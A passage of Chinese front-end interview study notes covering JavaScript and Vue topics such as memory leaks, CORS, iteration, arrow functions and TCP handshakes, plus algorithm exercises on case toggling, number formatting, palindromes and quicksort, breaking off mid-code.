打开开发者工具,选择 Performance
,点击 Record
,然后点击 Stop
,在 Memory
选项卡中可以看到内存的使用情况。
# 内存泄露的场景(Vue为例)
- 被全局变量、函数引用,组件销毁时未清除
- 被全局事件、定时器引用,组件销毁时未清除
- 被自定义事件引用,组件销毁时未清除
<template>
<p>Memory Leak Demo</p>
</template>
<script>
export default {
name: 'Memory Leak Demo',
data() {
return {
arr: [10, 20, 30], // 数组 对象
}
},
methods: {
printArr() {
console.log(this.arr)
}
},
mounted() {
// 全局变量
window.arr = this.arr
window.printArr = ()=>{
console.log(this.arr)
}
// 定时器
this.intervalId = setInterval(() => {
console.log(this.arr)
}, 1000)
// 全局事件
window.addEventListener('resize', this.printArr)
// 自定义事件也是这样
},
// Vue2是beforeDestroy
beforeUnmount() {
// 清除全局变量
window.arr = null
window.printArr = null
// 清除定时器
clearInterval(this.intervalId)
// 清除全局事件
window.removeEventListener('resize', this.printArr)
},
}
</script>
# 拓展 WeakMap WeakSet
weakmap
和 weakset
都是弱引用,不会阻止垃圾回收机制回收对象。
const map = new Map()
function fn1() {
const obj = { x: 100 }
map.set('a', obj) // fn1执行完 map还引用着obj
}
fn1()
const wMap = new WeaMap() // 弱引用
function fn1() {
const obj = { x: 100 }
// fn1执行完 obj会被清理掉
wMap.set(obj, 100) // weakMap 的 key 只能是引用类型,字符串数字都不行
}
fn1()
# 第106题 HTTP跨域请求时为什么要发送options请求
跨域请求
- 浏览器同源策略
- 同源策略一般限制
Ajax
网络请求,不能跨域请求server
- 不会限制
<link>
<img>
<script>
<iframe>
加载第三方资源
JSONP实现跨域
<!-- aa.com网页 -->
<script>
window.onSuccess = function(data) {
console.log(data)
}
</script>
<script src="https://bb.com/api/getData"></script>
// server端https://bb.com/api/getData
onSuccess({ "name":"test", "age":12, "city":"shenzhen" });
cors
response.setHeader('Access-Control-Allow-Origin', 'https://aa.com') // 或者*
response.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS') // 允许的请求方法
response.setHeader('Access-Control-Allow-Headers', 'X-Requested-With') // 允许的请求头
response.setHeader('Access-Control-Allow-Credentials', 'true')// 允许跨域携带cookie
多余的options请求
options
是跨域请求之前的预检查- 浏览器自行发起的,无需我们干预
- 不会影响实际的功能
# 第105题 HTMLCollection和NodeList的区别
Node和Element
DOM
是一棵树,所有节点都是Node
Node
是Element
的基类Element
是其他HTML
元素的基类,如HTMLDivElement
、HTMLImageElement
等
HTMLCollection
是Element
的集合NodeList
是Node
的集合,包含Text
和Comment
节点ele.children
返回HTMLCollection
集合ele.childNodes
返回NodeList
集合HTMLCollection
和NodeList
是类数组- 使用
Array.from(list)
转化数组 - 使用
Array.prototype.slice.call(list)
转化数组 - 使用
[...list]
转化数组
- 使用
<p id="p1"><b>node</b> vs <em>element</em><!--注释--></p>
<script>
const p1 = document.getElementById('p1')
// console.log(p1.children) // HTMLCollection
console.log(p1.childNodes) // NodeList
// p1.tagName // Element类型一定有tagName
// p1.nodeType/nodeName // node节点
class Node {}
// document
class Document extends Node {}
class DocumentFragment extends Node {}
// 文本和注释
class CharacterData extends Node {}
class Comment extends CharacterData {}
class Text extends CharacterData {}
// elem
class Element extends Node {}
class HTMLElement extends Element {}
class HTMLDivElement extends HTMLElement {}
class HTMLInputElement extends HTMLElement {}
// ...
</script>
# 第104题 for in和for of有什么区别
适用不同的数据类型
- 遍历对象:
for in
可以,for of
不可以 - 遍历
Map Set
:for of
可以,for in
不可以 - 遍历
generator
:for of
可以,for in
不可以
可枚举 vs 可迭代
for in
用于可枚举的数据,如对象、数组、字符串,得到key
for of
用于可迭代的数据,如数组、字符串、Map
、Set
、generator
,得到value
const arr = [10, 20, 30]
for (let val of arr) { // 数组使用for of
console.log(val)
}
const str = 'abc'
for (let c of str) { // 字符串使用for of
console.log(c)
}
function fn() {
for (let arg of arguments) { // arguments使用for of
console.log(arg)
}
}
fn(100, 200, 'aaa')
const pList = document.querySelectorAll('p')
for (let p of pList) { // NodeList使用for of
console.log(p)
}
const obj = {
name: 'poetry',
}
for (let val of obj) {
console.log(val) // 错误的,对象不可用for of
}
const set = new Set([10, 20, 30])
for (let n of set) { // set使用for of
console.log(n)
}
const map = new Map([
['x', 100],
['y', 200],
['z', 300]
])
for (let n of map) {// map使用for of
console.log(n)
}
function* foo() {
yield 10
yield 20
yield 30
}
for (let n of foo()) { // 迭代器使用for of
console.log(n)
}
for-await-of有什么作用
for await of
用于遍历多个promise
function createPromise(val) {
return new Promise((resolve) => {
setTimeout(() => {
resolve(val)
}, 1000)
})
}
const p1 = createPromise(100)
const p2 = createPromise(200)
const p3 = createPromise(300)
const res1 = await p1
console.log(res1)
const res2 = await p2
console.log(res2)
const res3 = await p3
console.log(res3)
const list = [p1, p2, p3]
// Promise.all(list).then(res => console.log(res))
// 和promise.all一个作用
for await (let res of list) { // for await of 遍历多个promise
console.log(res) // 同时出来,一次性调用 100 200 300
}
// ---------------------- 分割线 ----------------------
const res1 = await createPromise(100)
console.log(res1)
const res2 = await createPromise(200)
console.log(res2)
const res3 = await createPromise(300)
console.log(res3)
const arr = [10, 20, 30]
for (let num of arr) {
const res = await createPromise(num) // 一个个出来,promise依次调用 for await of 遍历多个promise
console.log(res)
}
# 第103题 请描述TCP三次握手和四次挥手
建立TCP连接
- 先建立连接,确保双方都有收发消息的能力
- 再传输内容(如发送一个
get
请求) - 网络连接是
TCP
协议,传输内容是HTTP
协议
三次握手-建立连接
Client
发包,Server
接收。Server
就知道有Client
要找我了Server
发包,Client
接收。Client
就知道Server
已经收到消息Client
发包,Server
接收。Server
就知道Client
要准备发送了- 前两步确定双发都能收发消息,第三步确定双方都准备好了
四次挥手-关闭连接
Client
发包,Server
接收。Server
就知道Client
已请求结束Server
发包,Client
接收。Client
就知道Server
已收到消息,我等待server
传输完成了在关闭Server
发包,Client
接收。Client
就知道Server
已经传输完成了,可以关闭连接了Client
发包,Server
接收。Server
就知道Client
已经关闭了,Server
可以关闭连接了
# 第102题 什么时候不能使用箭头函数
- 箭头函数不绑定
arguments
,可以使用...args
代替 - 箭头函数没有
prototype
属性,不能进行new
实例化 - 箭头函数不能通过
call
、apply
等绑定this
,因为箭头函数底层是使用bind
永久绑定this
了,bind
绑定过的this
不能修改 - 箭头函数的
this
指向创建时父级的this
- 箭头函数不能使用
yield
关键字,不能作为Generator
函数
const fn1 = () => {
// 箭头函数中没有arguments
console.log('arguments', arguments)
}
fn1(100, 300)
const fn2 = () => {
// 这里的this指向window,箭头函数的this指向创建时父级的this
console.log('this', this)
}
// 箭头函数不能修改this
fn2.call({x: 100})
const obj = {
name: 'poetry',
getName2() {
// 这里的this指向obj
return () => {
// 这里的this指向obj
return this.name
}
},
getName: () => { // 1、不适用箭头函数的场景1:对象方法
// 这里不能使用箭头函数,否则箭头函数指向window
return this.name
}
}
obj.prototype.getName3 = () => { // 2、不适用箭头函数的场景2:对象原型
// 这里不能使用箭头函数,否则this指向window
return this.name
}
const Foo = (name) => { // 3、不适用箭头函数的场景3:构造函数
this.name = name
}
const f = new Foo('poetry') // 箭头函数没有 prototype 属性,不能进行 new 实例化
const btn1 = document.getElementById('btn1')
btn1.addEventListener('click',()=>{ // 4、不适用箭头函数的场景4:动态上下文的回调函数
// 这里不能使用箭头函数 this === window
this.innerHTML = 'click'
})
// Vue 组件本质上是一个 JS 对象,this需要指向组件实例
// vue的生命周期和method不能使用箭头函数
new Vue({
data:{name:'poetry'},
methods: { // 5、不适用箭头函数的场景5:vue的生命周期和method
getName: () => {
// 这里不能使用箭头函数,否则this指向window
return this.name
}
},
mounted:() => {
// 这里不能使用箭头函数,否则this指向window
this.getName()
}
})
// React 组件(非 Hooks)它本质上是一个 ES6 class
class Foo {
constructor(name) {
this.name = name
}
getName = () => { // 这里的箭头函数this指向实例本身没有问题的
return this.name
}
}
const f = new Foo('poetry')
console.log(f.getName() )
总结:不适用箭头函数的场景
- 场景1:对象方法
- 场景2:对象原型
- 场景3:构造函数
- 场景4:动态上下文的回调函数
- 场景5:vue的生命周期和
method
# 第101题 切换字母大小写
- 输入一个字符串,切换其中字母的大小写
- 如,输入字符串
12aBc34
,输出字符串12AbC34
思路分析
- 正则表达式
- 通过ASCII码判断(
'AB'.charCodeAt(0)
)
# 切换字母大小写(正则表达式)
/**
* 切换字母大小写(正则表达式)
* @param s str
*/
function switchLetterCase1(s) {
let res = ''
const length = s.length
if (length === 0) return res
const reg1 = /[a-z]/
const reg2 = /[A-Z]/
for (let i = 0; i < length; i++) {
const c = s[i]
if (reg1.test(c)) { // 小写字母转大写
res += c.toUpperCase()
} else if (reg2.test(c)) { // 大写字母转小写
res += c.toLowerCase()
} else {// 非字母
res += c
}
}
return res
}
# 切换字母大小写(ASCII 编码)
/**
* 切换字母大小写(ASCII 编码)
* @param s str
*/
function switchLetterCase2(s) {
let res = ''
const length = s.length
if (length === 0) return res
for (let i = 0; i < length; i++) {
const c = s[i]
const code = c.charCodeAt(0) // 获取字符的ASCII编码
// 或者 code = s.charCodeAt(i)
// ascii.911cha.com 查询
// 65-90 A-Z
// 97-122 a-z
if (code >= 65 && code <= 90) { // 大写字母转小写
res += c.toLowerCase()
} else if (code >= 97 && code <= 122) { // 小写字母转大写
res += c.toUpperCase()
} else {// 非字母
res += c
}
}
return res
}
// 功能测试
const str = '100aBcD$#xYz'
console.info(switchLetterCase2(str))
// 性能测试
const str = '100aBcD$#xYz100aBcD$#xYz100aBcD$#xYz100aBcD$#xYz100aBcD$#xYz100aBcD$#xYz'
// 切换字母大小写(正则表达式)
console.time('switchLetterCase1')
for (let i = 0; i < 10 * 10000; i++) {
switchLetterCase1(str)
}
console.timeEnd('switchLetterCase1') // 436ms
// 切换字母大小写(ASCII 编码)
console.time('switchLetterCase2')
for (let i = 0; i < 10 * 10000; i++) {
switchLetterCase2(str)
}
console.timeEnd('switchLetterCase2') // 210ms
# 第100题 实现数字千分位格式化
- 将数字千分位格式化,输出字符串
- 如输入数字
13050100
输出13,050,100
- 注意:逆序判断(从后往前判断)
思路分析
- 转化为数组,
reverse
,每三位拆分 - 使用正则表达式
- 使用字符串拆分
性能分析
- 使用数组,转化影响性能
- 使用正则表达式,性能较差
- 使用字符串性能较好,推荐答案
划重点
- 顺序,从尾到头
- 尽量不要转化数据结构
- 慎用正则表达式,性能较慢
# 千分位格式化(使用数组)
/**
* 千分位格式化(使用数组)
* @param n number
*/
function format1(n) {
n = Math.floor(n) // 只考虑整数
const s = n.toString() // 13050100
const arr = s.split('').reverse() // 反转数组逆序判断,从尾到头 00105031
return arr.reduce((prev, val, index) => {
// 分析
// index = 0 prev = '' val = '0' return '0'
// index = 1 prev = '0' val = '0' return '00'
// index = 2 prev = '00' val = '1' return '100'
// index = 3 prev = '100' val = '0' return '0,100'
// index = 4 prev = '0,100' val = '5' return '50,100'
// index = 5 prev = '50,100' val = '0' return '050,100'
// index = 6 prev = '050,100' val = '3' return '3,050,100'
// index = 7 prev = '3,050,100' val = '1' return '13,050,100'
if (index % 3 === 0) { //每隔三位加一个逗号
if (prev) {
return val + ',' + prev
} else {
return val
}
} else {
return val + prev
}
}, '')
}
# 数字千分位格式化(字符串分析)
/**
* 数字千分位格式化(字符串分析)
* @param n number
*/
function format2(n) {
n = Math.floor(n) // 只考虑整数
let res = ''
const s = n.toString() // 13050100
const length = s.length
// 逆序判断,从尾到头
// 13050100 length=8
// i=7 j=1 res='0'
// i=6 j=2 res='00'
// i=5 j=3 res=',100'
// i=4 j=4 res='0,100'
// i=3 j=5 res='50,100'
// i=2 j=6 res=',050,100'
// i=1 j=7 res='3,050,100'
// i=0 j=8 res='13,050,100'
for (let i = length - 1; i >= 0; i--) {
const j = length - i
if (j % 3 === 0) { // 每隔三位加一个逗号
if (i === 0) {
res = s[i] + res // 最前面那个不用加逗号
} else {
res = ',' + s[i] + res // 从后面往前累加
}
} else {
res = s[i] + res
}
}
return res
}
// 功能测试
const n = 10201004050
console.info('format1', format1(n))
console.info('format2', format2(n))
# 第99题 高效的字符串前缀匹配如何做
- 有一个英文单词库(数组),里面有几十个英文单词
- 输入一个字符串,快速判断是不是某一个单词的前缀
- 说明思路,不用写代码
思路分析
- 常规思路
- 遍历单词库数组
indexOf
判断前缀- 实际复杂度超过了
O(n)
,因为每一步遍历要考虑indexOf
的计算量
- 优化
- 英文字母一共
26
个,可以提前把单词库数组拆分为26
个 - 第一层拆分为
26
个,第二第三层也可以继续拆分 - 最后把单词库拆分为一颗树
- 如
array
拆分为{a:{r:{r:{a:{y:{}}}}}}
查询的时候这样查obj.a.r.r.a.y
时间复杂度就是O(1)
- 转为为树的过程我们不用管,单词库更新频率一般都是很低的,我们执行一次提前转换好,通过哈希表(对象)查询
key
非常快
- 英文字母一共
- 性能分析
- 如遍历数组,时间复杂度至少
O(n)
起步(n
是数组长度) - 改为树,时间复杂度从大于
O(n)
降低到O(m)
(m
是单词的长度) - 哈希表(对象)通过
key
查询,时间复杂度是O(1)
- 如遍历数组,时间复杂度至少
# 第98题 获取1-10000之前所有的对称数(回文数)
- 求
1-10000
之间所有的对称数(回文) - 例如:
0,1,2,11,22,101,232,1221...
思路分析
- 思路1:使用数组反转比较
- 数字转为字符串,在转为数组
- 数组
reverse
,在join
为字符串 - 前后字符串进行对比
- 看似是
O(n)
,但数组转换、操作都需要时间,所以慢
- 思路2:字符串前后比较
- 数字转为字符串
- 字符串头尾字符比较
- 思路2 vs 思路3,直接操作数字更快
- 思路3:生成翻转数
- 使用
%
和Math.floor()
生成翻转数 - 前后数字进行对比
- 全程操作数字,没有字符串类型
- 使用
总结
- 尽量不要转换数据结构,尤其是数组这种有序结构
- 尽量不要用内置API,如
reverse
等不好识别复杂度 - 数字操作最快,其次是字符串
# 查询 1-max 的所有对称数(数组反转)
/**
* 查询 1-max 的所有对称数(数组反转)
* @param max 最大值
*/
function findPalindromeNumbers1(max) {
const res = []
if (max <= 0) return res
for (let i = 1; i <= max; i++) {
// 转换为字符串,转换为数组,再反转,比较
const s = i.toString()
if (s === s.split('').reverse().join('')) { // 反过来看是否和之前的一样就是回文
res.push(i)
}
}
return res
}
# 查询 1-max 的所有对称数(字符串前后比较)
- 数字转为字符串
- 字符串头尾字符比较
/**
* 查询 1-max 的所有对称数(字符串前后比较)
* @param max 最大值
*/
function findPalindromeNumbers2(max) {
const res = []
if (max <= 0) return res
for (let i = 1; i <= max; i++) {
const s = i.toString()
const length = s.length
// 字符串头尾比较
let flag = true // 标志字符串是否是回文
let startIndex = 0 // 字符串开始
let endIndex = length - 1 // 字符串结束
while (startIndex < endIndex) {
if (s[startIndex] !== s[endIndex]) { // 开始和结束不相等不是回文 跳出while循环
flag = false
break
} else {
// 继续比较,倒数第二个和第二个比较,倒数第三个和第三个比较...
startIndex++ // 指针向后移动 ==>
endIndex-- // 指针向前移动 <==
}
}
if (flag) res.push(i)
}
return res
}
# 查询 1-max 的所有对称数(生成翻转数)
/**
* 查询 1-max 的所有对称数(生成翻转数)
* @param max 最大值
*/
function findPalindromeNumbers3(max) {
const res = []
if (max <= 0) return res
for (let i = 1; i <= max; i++) {
let n = i
let rev = 0 // 存储翻转数
// 假设开始
// i:123
// n:123
// 生成翻转数
while (n > 0) {
rev = rev * 10 + n % 10 // 第一轮 rev: 0*10 + 123 % 10 = 3 第二轮 rev: 3*10 + 12 % 10 = 32 第三轮 rev: 32*10 + 1 % 10 = 321
n = Math.floor(n / 10) // 第一轮 n: 123 / 10 = 12 第二轮 n: 12 / 10 = 1 第三轮 n: 1 / 10 = 0
}
// 整个while循环结束后:n = 0,rev = 321
// 此时 i = 123,rev = 321 不是回文数
if (i === rev) res.push(i)
}
return res
}
// 功能测试
console.info(findPalindromeNumbers3(200))
// 性能测试
// 查询 1-max 的所有对称数(数组反转)
console.time('findPalindromeNumbers1')
findPalindromeNumbers1(100 * 10000)
console.timeEnd('findPalindromeNumbers1') // 408ms
// 查询 1-max 的所有对称数(字符串前后比较)
console.time('findPalindromeNumbers2')
findPalindromeNumbers2(100 * 10000)
console.timeEnd('findPalindromeNumbers2') // 53ms
// 查询 1-max 的所有对称数(生成翻转数)
console.time('findPalindromeNumbers3')
findPalindromeNumbers3(100 * 10000)
console.timeEnd('findPalindromeNumbers3') // 42ms
# 第97题 实现快速排序并说明时间复杂度
思路分析
- 找到中间位置
midValue
- 遍历数组,小于
midValue
放在left
,否则放在right
- 继续递归,最后
concat
拼接返回 - 使用
splice
会修改原数组,使用slice
不会修改原数组(推荐) - 一层遍历+二分的时间复杂度是
O(nlogn)
# 快速排序(使用 splice)
/**
* 快速排序(使用 splice)
* @param arr:number[] number arr
*/
function quickSort1(arr) {
const length = arr.length
if (length === 0) return arr
// 获取中间的数
const midIndex = Math.floor(length / 2)
const midValue = arr.splice(midIndex, 1)[0] // splice会修改原数组,传入开始位置和长度是1
const left = []
const right = []
// 注意:这里不用直接用 length ,而是用 arr.length 。因为 arr 已经被 splice 给修改了
for (let i = 0; i < arr.length; i++) {
const n = arr[i]
if (n < midValue) {
// 小于 midValue ,则放在 left
left.push(n)
} else {
// 大于 midValue ,则放在 right
right